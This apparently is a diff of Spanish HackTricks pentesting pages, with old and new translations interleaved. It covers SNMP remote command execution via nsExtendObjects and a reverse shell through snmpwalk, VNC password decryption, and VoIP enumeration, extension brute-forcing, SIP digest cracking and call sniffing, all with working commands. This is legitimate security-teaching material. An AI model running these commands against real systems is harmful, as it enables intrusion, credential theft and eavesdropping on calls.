* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# SNMP RCE
SNMP puede ser explotado por un atacante si el administrador pasa por alto su configuración predeterminada en el dispositivo o servidor. Al **abusar de la comunidad SNMP con permisos de escritura (rwcommunity)** en un sistema operativo Linux, el atacante puede ejecutar comandos en el servidor.
## Ampliación de Servicios con Comandos Adicionales
## Extending Services with Additional Commands
Para ampliar los servicios SNMP y agregar comandos adicionales, es posible añadir nuevas **filas a la tabla "nsExtendObjects"**. Esto se puede lograr utilizando el comando `snmpset` y proporcionando los parámetros necesarios, incluyendo la ruta absoluta al ejecutable y el comando a ejecutar:
Para extender los servicios SNMP y agregar comandos adicionales, es posible agregar nuevas **filas a la tabla "nsExtendObjects"**. Esto se puede lograr utilizando el comando `snmpset` y proporcionando los parámetros necesarios, incluyendo la ruta absoluta al ejecutable y el comando a ejecutar:
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
```
## Inyectar Comandos para Ejecución
## Inyección de Comandos para Ejecución
Inyectar comandos para ejecutar en el servicio SNMP requiere la existencia y ejecutabilidad del binario/script llamado. El **`NET-SNMP-EXTEND-MIB`** exige proporcionar la ruta absoluta al ejecutable.
Inyectar comandos para que se ejecuten en el servicio SNMP requiere la existencia y ejecutabilidad del binario/script llamado. El **`NET-SNMP-EXTEND-MIB`** exige proporcionar la ruta absoluta al ejecutable.
Para confirmar la ejecución del comando inyectado, se puede usar el comando `snmpwalk` para enumerar el servicio SNMP. **La salida mostrará el comando y sus detalles asociados**, incluida la ruta absoluta:
```bash
@ -35,14 +36,13 @@ snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```
## Ejecutando los Comandos Inyectados
Cuando el **comando inyectado es leído, es ejecutado**. Este comportamiento es conocido como **`run-on-read()`**. La ejecución del comando puede ser observada durante la lectura de snmpwalk.
Cuando el **comando inyectado es leído, se ejecuta**. Este comportamiento se conoce como **`run-on-read()`**. La ejecución del comando se puede observar durante la lectura de snmpwalk.
### Obteniendo un Shell de Servidor con SNMP
### Obteniendo Shell del Servidor con SNMP
Para obtener control sobre el servidor y obtener un shell de servidor, se puede utilizar un script de Python desarrollado por mxrch desde [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git).
Para obtener control sobre el servidor y conseguir un shell del servidor, se puede utilizar un script de python desarrollado por mxrch desde [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git).
Alternativamente, un shell inverso puede ser creado manualmente inyectando un comando específico en SNMP. Este comando, activado por el snmpwalk, establece una conexión de shell inverso con la máquina del atacante, permitiendo control sobre la máquina víctima.
Puedes instalar el pre-requisito para ejecutar esto:
Alternativamente, se puede crear manualmente un shell inverso inyectando un comando específico en SNMP. Este comando, activado por el snmpwalk, establece una conexión de shell inverso a la máquina del atacante, permitiendo el control sobre la máquina de la víctima. Puedes instalar el requisito previo para ejecutar esto:
```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
@ -57,16 +57,17 @@ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendSta
* [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# 5800,5801,5900,5901 - Pentesting VNC
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica
**Virtual Network Computing (VNC)** es un sistema robusto de intercambio de escritorio gráfico que utiliza el protocolo **Remote Frame Buffer (RFB)** para permitir el control remoto y la colaboración con otra computadora. Con VNC, los usuarios pueden interactuar de forma transparente con una computadora remota transmitiendo eventos de teclado y ratón en ambas direcciones. Esto permite el acceso en tiempo real y facilita la asistencia remota eficiente o la colaboración a través de una red.
**Virtual Network Computing (VNC)** es un robusto sistema de compartición de escritorio gráfico que utiliza el protocolo **Remote Frame Buffer (RFB)** para habilitar el control remoto y la colaboración con otra computadora. Con VNC, los usuarios pueden interactuar sin problemas con una computadora remota al transmitir eventos de teclado y mouse de manera bidireccional. Esto permite el acceso en tiempo real y facilita la asistencia remota o colaboración eficiente a través de una red.
VNC suele utilizar los puertos **5800 o 5801 o 5900 o 5901.**
VNC generalmente utiliza los puertos **5800 o 5801 o 5900 o 5901.**
```
PORT STATE SERVICE
5900/tcp open vnc
@ -30,20 +31,20 @@ msf> use auxiliary/scanner/vnc/vnc_none_auth
```
### [**Fuerza bruta**](../generic-methodologies-and-resources/brute-force.md#vnc)
## Conectar a VNC usando Kali
## Conectar a vnc usando Kali
```bash
vncviewer [-passwd passwd.txt] <IP>::5901
```
## Descifrado de contraseña VNC
## Desencriptar la contraseña de VNC
La **contraseña predeterminada se almacena** en: \~/.vnc/passwd
La **contraseña por defecto se almacena** en: \~/.vnc/passwd
Si tienes la contraseña VNC y parece estar encriptada (unos pocos bytes, como si fuera una contraseña encriptada), probablemente esté cifrada con 3des. Puedes obtener la contraseña en texto claro usando [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
Si tienes la contraseña de VNC y parece estar encriptada (unos pocos bytes, como si pudiera ser una contraseña encriptada), probablemente esté cifrada con 3des. Puedes obtener la contraseña en texto claro usando [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
```bash
make
vncpwd <vnc password file>
```
Puedes hacer esto porque la contraseña utilizada dentro de 3des para cifrar las contraseñas VNC en texto plano fue descifrada hace años.\
Puedes hacer esto porque la contraseña utilizada dentro de 3des para encriptar las contraseñas VNC en texto plano fue revertida hace años.\
Para **Windows** también puedes usar esta herramienta: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
Guardo la herramienta aquí también para facilitar el acceso:
@ -53,16 +54,17 @@ Guardo la herramienta aquí también para facilitar el acceso:
* `port:5900 RFB`
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Pentesting VoIP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica de VoIP
## VoIP Información Básica
Para comenzar a aprender cómo funciona VoIP, consulta:
Para comenzar a aprender sobre cómo funciona VoIP, consulta:
{% content-ref url="basic-voip-protocols/" %}
[basic-voip-protocols](basic-voip-protocols/)
@ -66,7 +67,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
305 Use Proxy
380 Alternative Service
```
**4xx—Respuestas de falla del cliente**
**4xx—Respuestas de Fallo del Cliente**
```
400 Bad Request
401 Unauthorized
@ -117,7 +118,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
493 Undecipherable
494 Security Agreement Required
```
**5xx—Respuestas de fallo del servidor**
**5xx—Respuestas de Fallo del Servidor**
```
500 Internal Server Error
501 Not Implemented
@ -129,7 +130,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
555 Push Notification Service Not Supported
580 Precondition Failure
```
**Respuestas de fallo global 6xx**
**6xx—Respuestas de Fallo Global**
```
600 Busy Everywhere
603 Decline
@ -138,22 +139,22 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
607 Unwanted
608 Rejected
```
## Enumeración de VoIP
## VoIP Enumeration
### Números de teléfono
### Números de Teléfono
Uno de los primeros pasos que un Equipo Rojo podría realizar es buscar números de teléfono disponibles para contactar con la empresa utilizando herramientas de OSINT, búsquedas en Google o raspando las páginas web.
Uno de los primeros pasos que podría dar un Red Team es buscar números de teléfono disponibles para contactar con la empresa utilizando herramientas OSINT, búsquedas en Google o raspando las páginas web.
Una vez que tenga los números de teléfono, podría utilizar servicios en línea para identificar el operador:
Una vez que tengas los números de teléfono, podrías usar servicios en línea para identificar al operador:
* [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
* [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
* [https://www.whitepages.com/](https://www.whitepages.com/)
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
Saber si el operador proporciona servicios de VoIP podría ayudar a identificar si la empresa está utilizando VoIP... Además, es posible que la empresa no haya contratado servicios de VoIP, pero esté utilizando tarjetas PSTN para conectar su propia PBX de VoIP a la red telefónica tradicional.
Saber si el operador proporciona servicios de VoIP podría ayudarte a identificar si la empresa está utilizando VoIP... Además, es posible que la empresa no haya contratado servicios de VoIP, pero esté utilizando tarjetas PSTN para conectar su propia PBX VoIP a la red de telefonía tradicional.
Cosas como respuestas automáticas de música generalmente indican que se está utilizando VoIP.
Cosas como respuestas automáticas de música suelen indicar que se está utilizando VoIP.
### Google Dorks
```bash
@ -187,23 +188,23 @@ intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
```
### Información de OSINT
### Información OSINT
Cualquier otra enumeración de OSINT que ayude a identificar el software VoIP que se está utilizando será útil para un Equipo Rojo.
Cualquier otra enumeración OSINT que ayude a identificar el software VoIP que se está utilizando será útil para un Red Team.
### Enumeración de Red
- **`nmap`** es capaz de escanear servicios UDP, pero debido a la cantidad de servicios UDP que se están escaneando, es muy lento y es posible que no sea muy preciso con este tipo de servicios.
* **`nmap`** es capaz de escanear servicios UDP, pero debido a la cantidad de servicios UDP que se escanean, es muy lento y puede no ser muy preciso con este tipo de servicios.
```bash
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
```
* **`svmap`** de SIPVicious (`sudo apt install sipvicious`): Localizará los servicios SIP en la red indicada.
* `svmap` es **fácil de bloquear** porque utiliza el User-Agent `friendly-scanner`, pero podrías modificar el código desde `/usr/share/sipvicious/sipvicious` y cambiarlo.
* **`svmap`** de SIPVicious (`sudo apt install sipvicious`): Localizará servicios SIP en la red indicada.
* `svmap` es **fácil de bloquear** porque utiliza el User-Agent `friendly-scanner`, pero podrías modificar el código de `/usr/share/sipvicious/sipvicious` y cambiarlo.
```bash
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
```
* **`Escaneo SIPPTS`** de [**sippts**](https://github.com/Pepelux/sippts)**:** El escaneo SIPPTS es un escáner muy rápido para servicios SIP sobre UDP, TCP o TLS. Utiliza subprocesos múltiples y puede escanear grandes rangos de redes. Permite indicar fácilmente un rango de puertos, escanear tanto TCP como UDP, utilizar otro método (por defecto utilizará OPTIONS) y especificar un User-Agent diferente (y más).
* **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** El escáner SIPPTS es un escáner muy rápido para servicios SIP a través de UDP, TCP o TLS. Utiliza multihilo y puede escanear grandes rangos de redes. Permite indicar fácilmente un rango de puertos, escanear tanto TCP como UDP, usar otro método (por defecto usará OPTIONS) y especificar un User-Agent diferente (y más).
```bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@ -219,18 +220,18 @@ sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
```
#### Enumeración Adicional de la Red
#### Enumeración de Red Extra
El PBX también podría estar exponiendo otros servicios de red como:
- **69/UDP (TFTP)**: Actualizaciones de firmware
- **80 (HTTP) / 443 (HTTPS)**: Para gestionar el dispositivo desde la web
- **389 (LDAP)**: Alternativa para almacenar la información de los usuarios
- **3306 (MySQL)**: Base de datos MySQL
- **5038 (Manager)**: Permite usar Asterisk desde otras plataformas
- **5222 (XMPP)**: Mensajes utilizando Jabber
- **5432 (PostgreSQL)**: Base de datos PostgreSQL
- ¡Y otros...
* **69/UDP (TFTP)**: Actualizaciones de firmware
* **80 (HTTP) / 443 (HTTPS)**: Para gestionar el dispositivo desde la web
* **389 (LDAP)**: Alternativa para almacenar la información de los usuarios
* **3306 (MySQL)**: Base de datos MySQL
* **5038 (Manager)**: Permite usar Asterisk desde otras plataformas
* **5222 (XMPP)**: Mensajes usando Jabber
* **5432 (PostgreSQL)**: Base de datos PostgreSQL
* Y otros...
### Enumeración de Métodos
@ -238,7 +239,7 @@ Es posible encontrar **qué métodos están disponibles** para usar en el PBX ut
```bash
sippts enumerate -i 10.10.0.10
```
### Analizando respuestas del servidor
### Analizando las respuestas del servidor
Es muy importante analizar los encabezados que un servidor nos envía, dependiendo del tipo de mensaje y encabezados que enviamos. Con `SIPPTS send` de [**sippts**](https://github.com/Pepelux/sippts) podemos enviar mensajes personalizados, manipulando todos los encabezados, y analizar la respuesta.
```bash
@ -250,9 +251,9 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
```
### Enumeración de Extensiones
Las extensiones en un sistema de PBX (Centralita Privada) se refieren a los **identificadores internos únicos asignados a líneas telefónicas individuales**, dispositivos o usuarios dentro de una organización o empresa. Las extensiones permiten **enrutar llamadas dentro de la organización de manera eficiente**, sin la necesidad de números de teléfono externos individuales para cada usuario o dispositivo.
Las extensiones en un sistema PBX (Centralita Privada) se refieren a los **identificadores internos únicos asignados a líneas** telefónicas, dispositivos o usuarios dentro de una organización o negocio. Las extensiones hacen posible **rutar llamadas dentro de la organización de manera eficiente**, sin la necesidad de números de teléfono externos individuales para cada usuario o dispositivo.
* **`svwar`** de SIPVicious (`sudo apt install sipvicious`): `svwar` es un escáner de líneas de extensión de PBX SIP gratuito. En concepto, funciona de manera similar a los wardialers tradicionales al **adivinar un rango de extensiones o una lista dada de extensiones**.
* **`svwar`** de SIPVicious (`sudo apt install sipvicious`): `svwar` es un escáner de líneas de extensión SIP PBX gratuito. En concepto, funciona de manera similar a los marcadores tradicionales al **adivinar un rango de extensiones o una lista dada de extensiones**.
```bash
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
```
@ -265,29 +266,29 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
```
* **`enumiax` (`apt install enumiax`): enumIAX** es un enumerador de fuerza bruta de nombres de usuario del protocolo de Intercambio de Asterisk (IAX). enumIAX puede operar en dos modos distintos; Adivinanza secuencial de nombres de usuario o Ataque de diccionario.
* **`enumiax` (`apt install enumiax`): enumIAX** es un enumerador de **fuerza bruta de nombres de usuario** del protocolo Inter Asterisk Exchange. enumIAX puede operar en dos modos distintos: Adivinanza Secuencial de Nombres de Usuario o Ataque de Diccionario.
```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
```
## Ataques VoIP
### Fuerza bruta de contraseñas - en línea
### Fuerza Bruta de Contraseña - en línea
Habiendo descubierto la **PBX** y algunos **extensiones/nombres de usuario**, un Equipo Rojo podría intentar **autenticarse a través del método `REGISTER`** en una extensión utilizando un diccionario de contraseñas comunes para realizar un ataque de fuerza bruta a la autenticación.
Habiendo descubierto el **PBX** y algunos **números de extensión/nombres de usuario**, un Red Team podría intentar **autenticarse a través del método `REGISTER`** a una extensión utilizando un diccionario de contraseñas comunes para realizar un ataque de fuerza bruta a la autenticación.
{% hint style="danger" %}
Tenga en cuenta que un **nombre de usuario** puede ser el mismo que la extensión, pero esta práctica puede variar dependiendo del sistema PBX, su configuración y las preferencias de la organización...
Tenga en cuenta que un **nombre de usuario** puede ser el mismo que la extensión, pero esta práctica puede variar según el sistema PBX, su configuración y las preferencias de la organización...
Si el nombre de usuario no es el mismo que la extensión, deberá **averiguar el nombre de usuario para realizar un ataque de fuerza bruta**.
Si el nombre de usuario no es el mismo que la extensión, necesitará **descubrir el nombre de usuario para realizar el ataque de fuerza bruta**.
{% endhint %}
* **`svcrack`** de SIPVicious (`sudo apt install sipvicious`): SVCrack te permite crackear la contraseña para un nombre de usuario/extensión específico en una PBX.
* **`svcrack`** de SIPVicious (`sudo apt install sipvicious`): SVCrack le permite descifrar la contraseña para un nombre de usuario/extensión específico en un PBX.
```bash
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
```
* **`SIPPTS rcrack`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack es un descifrador de contraseñas remoto para servicios SIP. Rcrack puede probar contraseñas para varios usuarios en diferentes IPs y rangos de puertos.
* **`SIPPTS rcrack`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack es un cracker de contraseñas remoto para servicios SIP. Rcrack puede probar contraseñas para varios usuarios en diferentes IPs y rangos de puertos.
```bash
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
```
@ -295,22 +296,22 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb)
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb)
### Intercepción de VoIP
### Sniffing de VoIP
Si encuentras equipos de VoIP dentro de una **red Wifi abierta**, podrías **interceptar toda la información**. Además, si estás dentro de una red más cerrada (conectado a través de Ethernet o Wifi protegida) podrías realizar **ataques de MitM como** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) entre la **PBX y la pasarela** para interceptar la información.
Si encuentras equipos de VoIP dentro de una **red Wifi abierta**, podrías **capturar toda la información**. Además, si estás dentro de una red más cerrada (conectada por Ethernet o Wifi protegido) podrías realizar **ataques MitM como** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) entre la **PBX y la puerta de enlace** para poder capturar la información.
Entre la información de red, podrías encontrar **credenciales web** para gestionar el equipo, **extensiones de usuario**, **nombre de usuario**, direcciones **IP**, incluso **contraseñas hasheadas** y **paquetes RTP** que podrías reproducir para **escuchar la conversación**, y más.
Entre la información de la red, podrías encontrar **credenciales web** para gestionar el equipo, **extensiones** de usuario, **nombre de usuario**, direcciones **IP**, incluso **contraseñas hash** y **paquetes RTP** que podrías reproducir para **escuchar la conversación**, y más.
Para obtener esta información podrías utilizar herramientas como Wireshark, tcpdump... pero una **herramienta especialmente creada para interceptar conversaciones de VoIP es** [**ucsniff**](https://github.com/Seabreg/ucsniff).
Para obtener esta información podrías usar herramientas como Wireshark, tcpdump... pero una **herramienta especialmente creada para capturar conversaciones de VoIP es** [**ucsniff**](https://github.com/Seabreg/ucsniff).
{% hint style="danger" %}
Ten en cuenta que si se utiliza **TLS en la comunicación SIP** no podrás ver la comunicación SIP en claro.\
Lo mismo sucederá si se utiliza **SRTP** y **ZRTP**, los **paquetes RTP no estarán en texto claro**.
Ten en cuenta que si **se utiliza TLS en la comunicación SIP** no podrás ver la comunicación SIP en claro.\
Lo mismo sucederá si se utiliza **SRTP** y **ZRTP**, **los paquetes RTP no estarán en texto claro**.
{% endhint %}
#### Credenciales SIP (Fuerza bruta de contraseñas - fuera de línea)
#### Credenciales SIP (Fuerza Bruta de Contraseña - offline)
[Consulta este ejemplo para entender mejor una **comunicación de registro SIP**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) para aprender cómo se envían las **credenciales**.
[Consulta este ejemplo para entender mejor una **comunicación SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) para aprender cómo se están **enviando las credenciales**.
* **`sipdump`** y **`sipcrack`,** parte de **sipcrack** (`apt-get install sipcrack`): Estas herramientas pueden **extraer** de un **pcap** las **autenticaciones digest** dentro del protocolo SIP y **realizar fuerza bruta** sobre ellas.
```bash
@ -321,7 +322,7 @@ sipcrack sip-creds.txt -w dict.txt
```bash
sippts dump -f capture.pcap -o data.txt
```
* **`SIPPTS dcrack`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack es una herramienta para crackear las autenticaciones digest obtenidas con el volcado de SIPPTS.
* **`SIPPTS dcrack`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack es una herramienta para descifrar las autenticaciones digest obtenidas con el volcado de SIPPTS.
```bash
sippts dcrack -f data.txt -w wordlist/rockyou.txt
```
@ -331,34 +332,34 @@ sippts tshark -f capture.pcap [-filter auth]
```
